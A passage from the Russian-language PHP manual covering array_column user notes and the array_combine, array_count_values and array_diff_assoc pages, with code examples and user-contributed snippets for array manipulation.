    [Peter] => 5623
)

*/

?>
Carlos Granados 30-Sep-2016 03:41
Here's a neat little snippet for filtering a set of records based on a the value of a column:

<?php

function dictionaryFilterList(array $source, array $data, string $column) : array
{
    $new     = array_column($data, $column);
    $keep     = array_diff($new, $source);

    return array_intersect_key($data, $keep);
 }

// Usage:

$users = [
    ['first_name' => 'Jed', 'last_name' => 'Lopez'],
    ['first_name' => 'Carlos', 'last_name' => 'Granados'],
    ['first_name' => 'Dirty', 'last_name' => 'Diana'],
    ['first_name' => 'John', 'last_name' => 'Williams'],
    ['first_name' => 'Betty', 'last_name' => 'Boop'],
    ['first_name' => 'Dan', 'last_name' => 'Daniels'],
    ['first_name' => 'Britt', 'last_name' => 'Anderson'],
    ['first_name' => 'Will', 'last_name' => 'Smith'],
    ['first_name' => 'Magic', 'last_name' => 'Johnson'],
];

var_dump(dictionaryFilterList(['Dirty', 'Dan'], $users, 'first_name'));

// Outputs:
[
    ['first_name' => 'Jed', 'last_name' => 'Lopez'],
    ['first_name' => 'Carlos', 'last_name' => 'Granados'],
    ['first_name' => 'John', 'last_name' => 'Williams'],
    ['first_name' => 'Betty', 'last_name' => 'Boop'],
    ['first_name' => 'Britt', 'last_name' => 'Anderson'],
    ['first_name' => 'Will', 'last_name' => 'Smith'],
    ['first_name' => 'Magic', 'last_name' => 'Johnson']
]

?>
nino at recgr dot com 26-Sep-2016 08:21
array_column implementation that works on multidimensional arrays (not just 2-dimensional):

<?php
function array_column_recursive(array $haystack, $needle) {
    $found = [];
    array_walk_recursive($haystack, function($value, $key) use (&$found, $needle) {
        if ($key == $needle)
            $found[] = $value;
    });
    return $found;
}

Taken from https://github.com/NinoSkopac/array_column_recursive
miguelfzarth at gmail dot com 18-Aug-2016 02:02
<?php
# for PHP < 5.5
# AND it works with arrayObject AND array of objects

if (!function_exists('array_column')) {
    function array_column($array, $columnKey, $indexKey = null)
    {
        $result = array();
        foreach ($array as $subArray) {
            if (is_null($indexKey) && array_key_exists($columnKey, $subArray)) {
                $result[] = is_object($subArray)?$subArray->$columnKey: $subArray[$columnKey];
            } elseif (array_key_exists($indexKey, $subArray)) {
                if (is_null($columnKey)) {
                    $index = is_object($subArray)?$subArray->$indexKey: $subArray[$indexKey];
                    $result[$index] = $subArray;
                } elseif (array_key_exists($columnKey, $subArray)) {
                    $index = is_object($subArray)?$subArray->$indexKey: $subArray[$indexKey];
                    $result[$index] = is_object($subArray)?$subArray->$columnKey: $subArray[$columnKey];
                }
            }
        }
        return $result;
    }
}
?>
greensea 06-Jul-2016 02:42
<?php
if (!function_exists('array_column')) {
    function array_column($input, $column_key, $index_key = NULL) {
        if (!is_array($input)) {
            trigger_error(__FUNCTION__ . '() expects parameter 1 to be array, ' . gettype($input) . ' given', E_USER_WARNING);
            return FALSE;
        }

        $ret = array();
        foreach ($input as $k => $v) {
            $value = NULL;
            if ($column_key === NULL) {
                $value = $v;
            }
            else {
                $value = $v[$column_key];
            }

            if ($index_key === NULL || !isset($v[$index_key])) {
                $ret[] = $value;
            }
            else {
                $ret[$v[$index_key]] = $value;
            }
        }

        return $ret;
    }
}
?>
benjam 25-Mar-2016 05:20
Note that this function will return the last entry when possible keys are duplicated.

<?php

$array = array(
    array(
        '1-1',
        'one',
        'one',
    ),
    array(
        '1-2',
        'two',
        'one',
    ),
);

var_dump(array_column($array, $value = 0, $index = 1));
var_dump(array_column($array, $value = 0, $index = 2));

// returns:
/*

array (size=2)
  'one' => string '1-1' (length=3)
  'two' => string '1-2' (length=3)

array (size=1)
  'one' => string '1-2' (length=3)

*/
?>
Nolan chou 26-Feb-2016 05:21
if (!function_exists('array_column'))
{
    function array_column($input, $column_key=null, $index_key=null)
    {
        $result = array();
        $i = 0;
        foreach ($input as $v)
        {
            $k = $index_key === null || !isset($v[$index_key]) ? $i++ : $v[$index_key];
            $result[$k] = $column_key === null ? $v : (isset($v[$column_key]) ? $v[$column_key] : null);
        }
        return $result;
    }
}
Anonymous 12-Feb-2016 04:45
I added a little more functionality to the more popular answers here to support the $index_key parameter for PHP < 5.5

<?php
// for php < 5.5
if (!function_exists('array_column')) {
    function array_column($input, $column_key, $index_key = null) {
        $arr = array_map(function($d) use ($column_key, $index_key) {
            if (!isset($d[$column_key])) {
                return null;
            }
            if ($index_key !== null) {
                return array($d[$index_key] => $d[$column_key]);
            }
            return $d[$column_key];
        }, $input);

        if ($index_key !== null) {
            $tmp = array();
            foreach ($arr as $ar) {
                $tmp[key($ar)] = current($ar);
            }
            $arr = $tmp;
        }
        return $arr;
    }
}
?>
kaspar dot wilbuer at web dot de 01-Feb-2016 10:59
If you need to extract more than one column from an array, you can use array_intersect_key on each element, like so:

function array_column_multi(array $input, array $column_keys) {
    $result = array();
    $column_keys = array_flip($column_keys);
    foreach($input as $key => $el) {
        $result[$key] = array_intersect_key($el, $column_keys);
    }
    return $result;
}
antonfedonjuk at gmail dot com 21-Jul-2015 06:26
My version is closer to the original than http://github.com/ramsey/array_column
<?php
/**
 * Provides functionality for array_column() to projects using PHP earlier than
 * version 5.5.
 * @copyright (c) 2015 WinterSilence (http://github.com/WinterSilence)
 * @license MIT
 */
if (!function_exists('array_column')) {
    /**
     * Returns an array of values representing a single column from the input
     * array.
     * @param array $array A multi-dimensional array from which to pull a
     *     column of values.
     * @param mixed $columnKey The column of values to return. This value may
     *     be the integer key of the column you wish to retrieve, or it may be
     *     the string key name for an associative array. It may also be NULL to
     *     return complete arrays (useful together with index_key to reindex
     *     the array).
     * @param mixed $indexKey The column to use as the index/keys for the
     *     returned array. This value may be the integer key of the column, or
     *     it may be the string key name.
     * @return array
     */
    function array_column(array $array, $columnKey, $indexKey = null)
    {
        $result = array();
        foreach ($array as $subArray) {
            if (!is_array($subArray)) {
                continue;
            } elseif (is_null($indexKey) && array_key_exists($columnKey, $subArray)) {
                $result[] = $subArray[$columnKey];
            } elseif (array_key_exists($indexKey, $subArray)) {
                if (is_null($columnKey)) {
                    $result[$subArray[$indexKey]] = $subArray;
                } elseif (array_key_exists($columnKey, $subArray)) {
                    $result[$subArray[$indexKey]] = $subArray[$columnKey];
                }
            }
        }
        return $result;
    }
}
?>
till at etill dot net 28-May-2015 03:32
Some remarks not included in the official documentation.

1) array_column does not support 1D arrays, in which case an empty array is returned.

2) The $column_key is zero-based.

3) If $column_key extends the valid index range an empty array is returned.
marianbucur17 at yahoo dot com 18-May-2015 06:19
If array_column is not available you can use the following function, which also has the $index_key parameter:

if (!function_exists('array_column')) {
    function array_column($array, $column_key, $index_key = null)
    {
        return array_reduce($array, function ($result, $item) use ($column_key, $index_key)
        {
            if (null === $index_key) {
                $result[] = $item[$column_key];
            } else {
                $result[$item[$index_key]] = $item[$column_key];
            }

            return $result;
        }, []);
    }
}
mohanrajnr at gmail dot com 06-May-2015 07:50
if array_column does not exist the below solution will work.

if(!function_exists("array_column"))
{

    function array_column($array,$column_name)
    {

        return array_map(function($element) use($column_name){return $element[$column_name];}, $array);

    }

}
robbieaverill[at]gmail.com 23-Mar-2015 07:51
Another option for older PHP versions (pre 5.5.0) is to use array_walk():

<?php
$array = array(
  array('some' => 'var', 'foo' => 'bar'),
  array('some' => 'var', 'foo' => 'bar'),
  array('some' => 'var', 'foo' => 'bar')
);

array_walk($array, function(&$value, $key, $return) {
  $value = $value[$return];
}, 'foo');

print_r($array);

// Array
// (
//     [0] => bar
//     [1] => bar
//     [2] => bar
// )

?>
kiler129 @ nowhere 10-Jan-2015 02:31
Please note this function accepts 2D-arrays ONLY, and silently returns empty array when non-array argument is provided.

Code:
class testObject {
    public $a = 123;
}
$testArray = [new testObject(), new testObject(), new testObject()];
$result = array_column($testArray, 'a')); //array(0) { }
hypxm at qq dot com 09-Dec-2014 06:36
a simple solution:

function arrayColumn(array $array, $column_key, $index_key=null){
        if(function_exists('array_column ')){
            return array_column($array, $column_key, $index_key);
        }
        $result = [];
        foreach($array as $arr){
            if(!is_array($arr)) continue;

            if(is_null($column_key)){
                $value = $arr;
            }else{
                $value = $arr[$column_key];
            }

            if(!is_null($index_key)){
                $key = $arr[$index_key];
                $result[$key] = $value;
            }else{
                $result[] = $value;
            }

        }

        return $result;
    }
coviex 30-Nov-2014 04:53
Value for existing key in the resulting array is rewritten with new value if it exists in another source sub-array.
myles at smyl dot es 23-Nov-2014 02:52
This didn't work for me recursively and needed to come up with a solution.

Here's my solution to the function:

if ( ! function_exists( 'array_column_recursive' ) ) {
    /**
     * Returns the values recursively from columns of the input array, identified by
     * the $columnKey.
     *
     * Optionally, you may provide an $indexKey to index the values in the returned
     * array by the values from the $indexKey column in the input array.
     *
     * @param array $input     A multi-dimensional array (record set) from which to pull
     *                         a column of values.
     * @param mixed $columnKey The column of values to return. This value may be the
     *                         integer key of the column you wish to retrieve, or it
     *                         may be the string key name for an associative array.
     * @param mixed $indexKey  (Optional.) The column to use as the index/keys for
     *                         the returned array. This value may be the integer key
     *                         of the column, or it may be the string key name.
     *
     * @return array
     */
    function array_column_recursive( $input = NULL, $columnKey = NULL, $indexKey = NULL ) {

        // Using func_get_args() in order to check for proper number of
        // parameters and trigger errors exactly as the built-in array_column()
        // does in PHP 5.5.
        $argc   = func_num_args();
        $params = func_get_args();
        if ( $argc < 2 ) {
            trigger_error( "array_column_recursive() expects at least 2 parameters, {$argc} given", E_USER_WARNING );

            return NULL;
        }
        if ( ! is_array( $params[ 0 ] ) ) {
            // Because we call back to this function, check if call was made by self to
            // prevent debug/error output for recursiveness :)
            $callers = debug_backtrace();
            if ( $callers[ 1 ][ 'function' ] != 'array_column_recursive' ){
                trigger_error( 'array_column_recursive() expects parameter 1 to be array, ' . gettype( $params[ 0 ] ) . ' given', E_USER_WARNING );
            }

            return NULL;
        }
        if ( ! is_int( $params[ 1 ] )
             && ! is_float( $params[ 1 ] )
             && ! is_string( $params[ 1 ] )
             && $params[ 1 ] !== NULL
             && ! ( is_object( $params[ 1 ] ) && method_exists( $params[ 1 ], '__toString' ) )
        ) {
            trigger_error( 'array_column_recursive(): The column key should be either a string or an integer', E_USER_WARNING );

            return FALSE;
        }
        if ( isset( $params[ 2 ] )
             && ! is_int( $params[ 2 ] )
             && ! is_float( $params[ 2 ] )
             && ! is_string( $params[ 2 ] )
             && ! ( is_object( $params[ 2 ] ) && method_exists( $params[ 2 ], '__toString' ) )
        ) {
            trigger_error( 'array_column_recursive(): The index key should be either a string or an integer', E_USER_WARNING );

            return FALSE;
        }
        $paramsInput     = $params[ 0 ];
        $paramsColumnKey = ( $params[ 1 ] !== NULL ) ? (string) $params[ 1 ] : NULL;
        $paramsIndexKey  = NULL;
        if ( isset( $params[ 2 ] ) ) {
            if ( is_float( $params[ 2 ] ) || is_int( $params[ 2 ] ) ) {
                $paramsIndexKey = (int) $params[ 2 ];
            } else {
                $paramsIndexKey = (string) $params[ 2 ];
            }
        }
        $resultArray = array();
        foreach ( $paramsInput as $row ) {
            $key    = $value = NULL;
            $keySet = $valueSet = FALSE;
            if ( $paramsIndexKey !== NULL && array_key_exists( $paramsIndexKey, $row ) ) {
                $keySet = TRUE;
                $key    = (string) $row[ $paramsIndexKey ];
            }
            if ( $paramsColumnKey === NULL ) {
                $valueSet = TRUE;
                $value    = $row;
            } elseif ( is_array( $row ) && array_key_exists( $paramsColumnKey, $row ) ) {
                $valueSet = TRUE;
                $value    = $row[ $paramsColumnKey ];
            }

            $possibleValue = array_column_recursive( $row, $paramsColumnKey, $paramsIndexKey );
            if ( $possibleValue ) {
                $resultArray = array_merge( $possibleValue, $resultArray );
            }

            if ( $valueSet ) {
                if ( $keySet ) {
                    $resultArray[ $key ] = $value;
                } else {
                    $resultArray[ ] = $value;
                }
            }
        }

        return $resultArray;
    }
}
WARrior 03-Oct-2013 12:25
You can also use array_map fucntion if you haven't array_column().

example:

$a = array(
    array(
        'id' => 2135,
        'first_name' => 'John',
        'last_name' => 'Doe',
    ),
    array(
        'id' => 3245,
        'first_name' => 'Sally',
        'last_name' => 'Smith',
    )
);

array_column($a, 'last_name');

becomes

array_map(function($element){return $element['last_name'];}, $a);


Создаёт новый массив, используя один массив в качестве ключей, а другой для его значений

  • « array_column
  • array_count_values »
  • PHP Manual
  • Функции для работы с массивами
  • Создаёт новый массив, используя один массив в качестве ключей, а другой для его значений

array_combine

(PHP 5, PHP 7, PHP 8)

array_combine — Создаёт новый массив, используя один массив в качестве ключей, а другой для его значений

Описание

array_combine(array $keys, array $values): array

Создаёт массив (array), используя значения массива keys в качестве ключей и значения массива values в качестве соответствующих значений.

Список параметров

keys

Массив ключей. Некорректные значения для ключей будут преобразованы в строку (string).

values

Массив значений

Возвращаемые значения

Возвращает скомбинированный массив (array).

Ошибки

Начиная с PHP 8.0.0, выдаётся ошибка ValueError, если количество элементов в keys и values не совпадает. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Функция array_combine() теперь выбрасывает ошибку ValueError, если количество элементов в массивах не совпадает; ранее функция возвращала значение false.

Примеры

Пример #1 Простой пример использования array_combine()

<?php
$a = array('green', 'red', 'yellow');
$b = array('avocado', 'apple', 'banana');
$c = array_combine($a, $b);

print_r($c);
?>

Результат выполнения приведённого примера:

Array
(
    [green]  => avocado
    [red]    => apple
    [yellow] => banana
)

Смотрите также

  • array_merge() - Сливает один или несколько массивов
  • array_walk() - Применяет заданную пользователем функцию к каждому элементу массива
  • array_values() - Возвращает все значения массива
  • array_map() - Применяет callback-функцию ко всем элементам указанных массивов

User Contributed Notes

douglasrich9215 at gmail dot com 21-Mar-2018 09:18
I had an epiphany when try to handle NON-ASSOCIATIVE array forms in my controller. This little one liner can pretty much edit ANY kind of non-associative array. For example this one just returns an array of values inputed by a new user.

The $data value is the the json_decoded() value of a register form.
Here is used str_replace, you could definitely do a number of things like preg matches and other things.

$readyToProcessForUser = array_combine(str_replace("new_user_", "", array_keys($data)), $data);

You could also do the same for the values.

$readyToProcessForUser = array_combine(array_keys($data), str_replace("-", "", $data));

Or BOTH!
Use full if you don't want to walk an entire array and the keys through the same callback.

$readyToProcessForUser = array_combine(array_walk('trim', array_keys($data)), array_walk('custom_callback', array_values($data)));
PHPNewbie 22-Jul-2017 06:18
This will seem obvious to some, but if you need to preserve a duplicate key, being you have unique vars, you can switch the array_combine around, to where the vars are the keys, and this will output correctly.

This [default] formula auto-removes the duplicate keys.

$i=0;
foreach (array_combine($keys, $vars) as $key => $var)
{
$i=$i;
echo($key);
echo " ";
echo($var);
}

This formula accomplishes the same thing, in the same order, but the duplicate "keys" (which are now  vars) are kept.

$i=0;
foreach (array_combine($vars, $keys) as $var => $key)
{
$i=$i;
echo($key);
echo " ";
echo($var);
}

I know, I'm a newbie, but perhaps someone else will need this eventually. I couldn't find another solution anywhere.
welcome at el hyphen mustafa 29-Nov-2015 09:46
Further to loreiorg's script
in order to preserve duplicate keys when combining arrays.

I have modified the script to use a closure instead of create_function

Reason: see security issue flagged up in the documentation concerning create_function

<?php

function array_combine_($keys, $values){
    $result = array();

    foreach ($keys as $i => $k) {
     $result[$k][] = $values[$i];
     }

    array_walk($result, function(&$v){
     $v = (count($v) == 1) ? array_pop($v): $v;
     });

    return $result;
}

?>
ilanfir at gmail dot com 15-Feb-2015 10:58
I recently had to flip an array and group the elements by value, this snippet will do that:
<?php
function flipAndGroup($input) {
    $outArr = array();
    array_walk($input, function($value, $key) use (&$outArr) {
        if(!isset($outArr[$value]) || !is_array($outArr[$value])) {
            $outArr[$value] = [];
        }
        $outArr[$value][] = $key;
    });
    return $outArr;
}
?>

Example:
<?php
$users_countries = array(
    'username1' => 'US',
    'user2' => 'US',
    'newuser' => 'GB'
);
print_r(flipAndGroup($users_countries));
?>

Returns:
Array
(
    [US] => Array
        (
            [0] => username1
            [1] => user2
        )

    [GB] => Array
        (
            [0] => newuser
        )
)
loureirorg at gmail dot com 14-Mar-2013 10:48
If two keys are the same, the second one prevails.

Example:
<?php
print_r(array_combine(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => 2
    [b] => 3
)

But if you need to keep all values, you can use the function below:

<?php
function array_combine_($keys, $values)
{
    $result = array();
    foreach ($keys as $i => $k) {
        $result[$k][] = $values[$i];
    }
    array_walk($result, create_function('&$v', '$v = (count($v) == 1)? array_pop($v): $v;'));
    return    $result;
}

print_r(array_combine_(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => Array
        (
            [0] => 1
            [1] => 2
        )

    [b] => 3
)
g.REMOVETHIS.vincendon AT vithemis.com 18-Jul-2012 09:41
I was looking for a function that could combine an array to multiple one, for my MySQL GROUP_CONCAT() query, so I made this function.

<?php
    function array_combine_array(array $keys)
    {
        $arrays = func_get_args();
        $keys = array_shift($arrays);

        /* Checking if arrays are on the same model (array('INDEX'=> array()) or array()) */
        $check = count(array_unique(array_map('is_array',array_map('current',$arrays)))) === 1;
        if (!$check) { trigger_error('Function array_combine_array() expects all parameters to be same type array or array of array',E_USER_NOTICE); return array(); }

        /* Checking the model of arrays, array('INDEX' => array()) or Array() */
        $assocArray = is_array(array_shift(array_map('current',$arrays)));

        /* If empty $Keys is given, we fill an empty array */
        if (empty($keys)) $keys = array_keys(array_fill(0,max(($assocArray) ? array_map('count',array_map('current',$arrays)) : array_map('count',$arrays)),'foo'));

        /* Init */
        $ret=array();$i=0;
        /* Cycling on each keys values, making an offset for each */
        foreach($keys as $v)
        {
            /* Cycling on arrays */
            foreach ($arrays as $k)
            {
                if ($assocArray)
                {
                    /* Getting the index of the element */
                    $key = key($k);
                    /* If the offset exists, we place it */
                    $ret[$v][$key] = isset($k[$key][$i]) ? $k[$key][$i]:false;
                }
                /* Making the array with auto-made index */
                else
                    $ret[$v][] = isset($k[$i]) ? $k[$i]: false;
            }
            /* Getting the next offset */
            $i++;
        }
        return $ret;
    }

    /* Examples */
    $r = array(1,2,4,10);

    $a1 = array('one','two','four','ten');
    $a2 = array('un','deux','quatre','dix');
    $a3 = array('uno','dos','quatro','diez');

     print_r(array_combine_array($r,array('english' => $a1),array('french' => $a2),array('spanish' => $a3))); /* Associative index, associative subarray indexes */
     print_r(array_combine_array($r,$a1,array('french' => $a2),array('spanish' => $a3))); /* Ouputs Error */
     print_r(array_combine_array($r,$a1,$a2,$a3)); /* Associative index, auto-made subarray indexes */
     print_r(array_combine_array(array(),array('english' => $a1),array('french' => $a2),array('spanish' => $a3))); /* Auto-made index, associative subarray indexes */
?>
dejiakala at gmail dot com 27-Oct-2011 03:32
I needed to read CSV files into associative arrays with column headers as keys. Then I ran into a problem when you have empty columns at the end of a row because array_combine returns false if both arrays don't have the same number of elements. This function based on quecoder at gmail's combine_arr() below allowed me to pad either array or not when parsing my CSVs to arrays.
$a is the array of header columns and $b is an array of the current row retrieved with fgetcsv()

<?php

function array_combine_special($a, $b, $pad = TRUE) {
    $acount = count($a);
    $bcount = count($b);
    // more elements in $a than $b but we don't want to pad either
    if (!$pad) {
        $size = ($acount > $bcount) ? $bcount : $acount;
        $a = array_slice($a, 0, $size);
        $b = array_slice($b, 0, $size);
    } else {
        // more headers than row fields
        if ($acount > $bcount) {
            $more = $acount - $bcount;
            // how many fields are we missing at the end of the second array?
            // Add empty strings to ensure arrays $a and $b have same number of elements
            $more = $acount - $bcount;
            for($i = 0; $i < $more; $i++) {
                $b[] = "";
            }
        // more fields than headers
        } else if ($acount < $bcount) {
            $more = $bcount - $acount;
            // fewer elements in the first array, add extra keys
            for($i = 0; $i < $more; $i++) {
                $key = 'extra_field_0' . $i;
                $a[] = $key;
            }

        }
    }

    return array_combine($a, $b);
}
?>
Dan LaManna 17-Sep-2011 08:12
I needed a function that truncated extra values, and only went as far as keys without throwing a warning as array_combine does.

<?php
function safeArrayCombine($keys, $values) {
    $combinedArray = array();

    for ($i=0, $keyCount = count($keys); $i < $keyCount; $i++) {
         $combinedArray[$keys[$i]] = $values[$i];
    }

    return $combinedArray;
}
?>
zequez at gmail dot com 27-Mar-2011 03:51
If two keys are the same, the second one prevails.
Example:
<?php
print_r(array_combine(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => 2
    [b] => 3
)
claude dot pache at gmail dot com 12-May-2010 10:04
array_combine() has a strange bug/misfeature (as of PHP 5.3.2): There is no logical reason for <? array_combine(array(), array()) ?> throwing a warning and returning FALSE, instead of returning <? array() ?> (see http://bugs.php.net/bug.php?id=34857). Here is a quick workaround:
<?php
function array_real_combine($a, $b)
{
    return $a===array() && $b===array() ? array() : array_combine($a, $b);
}
?>
bradentkeith at dot dontspam dot gmail dot com 01-Apr-2010 12:20
I needed a function that would take keys from one unequal array and combine them with the values of another. Real life application:
Select 4 product types.
Each product has a serial.
There are 4 sets of products.

    <?php
        function array_combine2($arr1, $arr2) {
            $count1 = count($arr1);
            $count2 = count($arr2);
            $numofloops = $count2/$count1;

            $i = 0;
            while($i < $numofloops){
                $arr3 = array_slice($arr2, $count1*$i, $count1);
                $arr4[] = array_combine($arr1,$arr3);
                $i++;
            }

            return $arr4;
        }
    ?>

Input:
Array
(
    [0] => SMART Board
    [1] => Projector
    [2] => Speakers
    [3] => Splitter
)
, Array
(
    [0] => serial to smart board1
    [1] => serial to projector 1
    [2] => serial to speakers 1
    [3] => serials to splitter 1
    [4] => serials to smart board 2
    [5] => serials to projector 2
    [6] => serials to speakers 2
    [7] => serials to splitter 2
)

Array
(
    [0] => Array
        (
            [SMART Board] => serial to smart board1
            [Projector] => serial to projector 1
            [Speakers] => serial to speakers 1
            [Splitter] => serials to splitter 1
        )

    [1] => Array
        (
            [SMART Board] => serials to smart board 2
            [Projector] => serials to projector 2
            [Speakers] => serials to speakers 2
            [Splitter] => serials to splitter 2
        )

)
quecoder at gmail 26-Aug-2008 12:00
<?php
// If they are not of same size, here is solution:

$abbreviations = array("AL", "AK", "AZ", "AR", "TX", "CA");
$states = array("Alabama", "Alaska", "Arizona", "Arkansas");
function combine_arr($a, $b)
{
    $acount = count($a);
    $bcount = count($b);
    $size = ($acount > $bcount) ? $bcount : $acount;
    $a = array_slice($a, 0, $size);
    $b = array_slice($b, 0, $size);
    return array_combine($a, $b);
}
$combined = combine_arr($abbreviations, $states);
print_r($combined);

//  Output
//  Array ( [AL] => Alabama [AK] => Alaska [AZ] => Arizona
//  [AR] => Arkansas )
?>


Подсчитывает количество вхождений каждого отдельного значения в массиве

  • « array_combine
  • array_diff_assoc »
  • PHP Manual
  • Функции для работы с массивами
  • Подсчитывает количество вхождений каждого отдельного значения в массиве

array_count_values

(PHP 4, PHP 5, PHP 7, PHP 8)

array_count_values — Подсчитывает количество вхождений каждого отдельного значения в массиве

Описание

array_count_values(array $array): array

Функция array_count_values() возвращает массив, в котором ключами становятся значения массива array, которые должны быть целыми числами (int) или строками (string), а значениями — количество повторений значений массива array.

Список параметров

array

Массив значений для подсчета.

Возвращаемые значения

Функция возвращает ассоциативный массив со значениями массива array в качестве ключей и количеством значений в качестве значений.

Ошибки

Функция генерирует ошибку уровня E_WARNING для каждого элемента, который не принадлежит строковому (string) или целочисленному (int) типу.

Примеры

Пример #1 Пример использования функции array_count_values()

<?php

$array = array(1, "hello", 1, "world", "hello");
print_r(array_count_values($array));

?>

Результат выполнения приведённого примера:

Array
(
    [1] => 2
    [hello] => 2
    [world] => 1
)

Смотрите также

  • count() - Подсчитывает количество элементов в массиве или в объекте Countable
  • array_unique() - Убирает повторяющиеся значения из массива
  • array_values() - Возвращает все значения массива
  • count_chars() - Возвращает информацию о символах, входящих в строку

User Contributed Notes

Rmr 26-Sep-2023 10:50
If you have a multidimensional array with unknown dimensions, you cannot use this function, use instead:

<?php
function array_count_recursive(array $arr): array {
    $occurrences = [] ;
    array_walk_recursive( $arr, function($value, $key) use (&$occurrences) {
       @ $occurrences[$value]++;
       // @ to surpress warnings "Undefined array key". In php8 you can also use
       // $occurrences[$value] = ($occurrences[$value] ?? 0) + 1
    });
    return $occurrences;
}
?>
tyler at tloc dot com 19-Jan-2023 01:55
A cleaner way to use array_count_values() to find boolean counts.

<?php

$list = [
  ['id' => 1, 'result' => true],
  ['id' => 2, 'result' => true],
  ['id' => 3, 'result' => false],
];
$result = true;

echo array_count_values(array_map('intval', array_column($list, 'result')))[(int)$result];
// outputs: 2
?>
anvil_sa at NOSPAMNO dot hotmail dot com 15-May-2020 02:15
Based on sergolucky96 suggestion
Simple way to find number of items with specific *boolean* values in multidimensional array:

<?php

$list = [
  ['id' => 1, 'result' => true],
  ['id' => 2, 'result' => true],
  ['id' => 3, 'result' => false],
];
$result = true;

echo array_count_values(array_map(function($v) {return $v?'true':'false';},array_column($list, 'result')))[$result]
// outputs: 2

?>
sergolucky96 at gmail dot com 29-Nov-2017 01:52
Simple way to find number of items with specific values in multidimensional array:

<?php

$list = [
  ['id' => 1, 'userId' => 5],
  ['id' => 2, 'userId' => 5],
  ['id' => 3, 'userId' => 6],
];
$userId = 5;

echo array_count_values(array_column($list, 'userId'))[$userId]; // outputs: 2
?>
Dominic Vonk 13-Dec-2013 04:11
The case-insensitive version:

<?php
function array_count_values_ci($array) {
    $newArray = array();
    foreach ($array as $values) {
        if (!array_key_exists(strtolower($values), $newArray)) {
            $newArray[strtolower($values)] = 0;
        }
        $newArray[strtolower($values)] += 1;
    }
    return $newArray;
}
?>
szczepan.krolgmail.c0m 17-Jan-2010 11:21
Here is a Version with one or more arrays, which have similar values in it:
Use $lower=true/false to ignore/set case Sensitiv.

<?php

$ar1[] = array("red","green","yellow","blue");
$ar1[] = array("green","yellow","brown","red","white","yellow");
$ar1[] = array("red","green","brown","blue","black","yellow");
#$ar1= array("red","green","brown","blue","black","red","green"); // Possible with one or multiple Array

$res = array_icount_values ($ar1);
print_r($res);

function array_icount_values($arr,$lower=true) {
     $arr2=array();
     if(!is_array($arr['0'])){$arr=array($arr);}
     foreach($arr as $k=> $v){
      foreach($v as $v2){
      if($lower==true) {$v2=strtolower($v2);}
      if(!isset($arr2[$v2])){
          $arr2[$v2]=1;
      }else{
           $arr2[$v2]++;
           }
    }
    }
    return $arr2;
}
/*
Will print:
Array
(
    [red] => 3
    [green] => 3
    [yellow] => 4
    [blue] => 2
    [brown] => 2
    [white] => 1
    [black] => 1
)
*/
?>
rabies dot dostojevski at gmail dot com 21-Feb-2007 01:40
I couldn't find a function for counting the values with case-insensitive matching, so I wrote a quick and dirty solution myself:

<pre><?php
function array_icount_values($array) {
    $ret_array = array();
    foreach($array as $value) {
        foreach($ret_array as $key2 => $value2) {
            if(strtolower($key2) == strtolower($value)) {
                $ret_array[$key2]++;
                continue 2;
            }
        }
        $ret_array[$value] = 1;
    }
    return $ret_array;
}

$ar = array('J. Karjalainen', 'J. Karjalainen', 60, '60', 'J. Karjalainen', 'j. karjalainen', 'Fastway', 'FASTWAY', 'Fastway', 'fastway', 'YUP');
$ar2 = array_count_values($ar); // Normal matching
$ar = array_icount_values($ar); // Case-insensitive matching
print_r($ar2);
print_r($ar);
?></pre>

This prints:

Array
(
    [J. Karjalainen] => 3
    [60] => 2
    [j. karjalainen] => 1
    [Fastway] => 2
    [FASTWAY] => 1
    [fastway] => 1
    [YUP] => 1
)
Array
(
    [J. Karjalainen] => 4
    [60] => 2
    [Fastway] => 4
    [YUP] => 1
)

I don't know how efficient it is, but it seems to work. Needed this function in one of my scripts and thought I would share it.
pmarcIatIgeneticsImedIharvardIedu 29-Jan-2003 05:42
array_count_values function does not work on multidimentional arrays.
If $score[][] is a bidimentional array, the command
"array_count_values ($score)" return the error message "Warning: Can only count STRING and INTEGER values!".


Вычисляет расхождение массивов с дополнительной проверкой индекса

  • « array_count_values
  • array_diff_key »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет расхождение массивов с дополнительной проверкой индекса

array_diff_assoc

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

array_diff_assoc — Вычисляет расхождение массивов с дополнительной проверкой индекса

Описание

array_diff_assoc(array $array, array ...$arrays): array

Сравнивает значения массива array со значениями массивов arrays и возвращает разницу. В этой функции, в отличие от функции array_diff(), ключи массива также участвуют в сравнении.

Список параметров

array

Исходный массив

arrays

Массивы для сравнения

Возвращаемые значения

Возвращает массив (array), содержащий значения массива array, которых нет в других сравниваемых массивах.

Список изменений

Версия | Описание
8.0.0 | Теперь разрешается вызывать функцию только с одним параметром. Раньше требовалось не менее двух параметров.

Примеры

Пример #1 Пример использования array_diff_assoc()

В этом примере пара "a" => "green" содержится в обоих массивах, и поэтому её нет в выводе функции. Но пара 0 => "red" содержится в выводе функции, потому что значению "red" в первом массиве автоматически присваивается ключ 0, а во втором массиве тому же значению будет присвоен ключ 1, поскольку ключ 0 уже занят значением yellow.

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
$result = array_diff_assoc($array1, $array2);
print_r($result);
?>

Результат выполнения приведённого примера:

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

Пример #2 Пример использования array_diff_assoc()

Два значения пар key => value будут расценены как равные только тогда, когда (string) $elem1 === (string) $elem2. То есть когда строковые представления значений при строгом сравнении будут тождествеными.

<?php
$array1 = array(0, 1, 2);
$array2 = array("00", "01", "2");
$result = array_diff_assoc($array1, $array2);
print_r($result);
?>

Результат выполнения приведённого примера:

Array
(
    [0] => 0
    [1] => 1
)

Примечания

Замечание: Эта функция проверяет только один уровень n-мерного массива. Сравнить вложенные массивы можно, указав более глубокий уровень, например: array_diff_assoc($array1[0], $array2[0]);.

Замечание: При сравнении аналогичных массивов, в которых много ключей, проверяют, чтобы аргументы передавались в правильном порядке. В массив с результатами попадают значения того массива, который идёт первым в списке аргументов.

Смотрите также

  • array_diff() - Вычисляет расхождение массивов
  • array_diff_uassoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию
